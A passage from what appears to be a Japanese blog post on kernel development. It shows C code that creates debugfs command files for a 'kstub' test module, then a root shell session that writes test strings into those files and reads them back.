    kstub->cmd_file = debugfs_create_file(KSTUB_DEBUG_CMD_FILE, 0644, kstub->this_stub_dir, kstub->cmd_file_buf, &kstub_cmd_file_fops);
    
    err = kstub_check_debugfs_ops_result(kstub->cmd_file);
    if (err) 
        return err;

    kstub->cmd_file->d_inode->i_private = kstub;

    return err;
}

これでやりたかったことができます( ´∀`)bグッ!

[root@kerntest kstub]# tree
.
├── cmdline_proc_show
│   └── cmd
└── version_proc_show
    └── cmd

2 directories, 2 files
[root@kerntest kstub]# echo foobar > cmdline_proc_show/cmd
[root@kerntest kstub]# echo hogehoge > version_proc_show/cmd
[root@kerntest kstub]# cat cmdline_proc_show/cmd version_proc_show/cmd
foobar
hogehoge

( ´ー`)フゥー...

詳解UNIXプログラミング 第3版

詳解UNIXプログラミング 第3版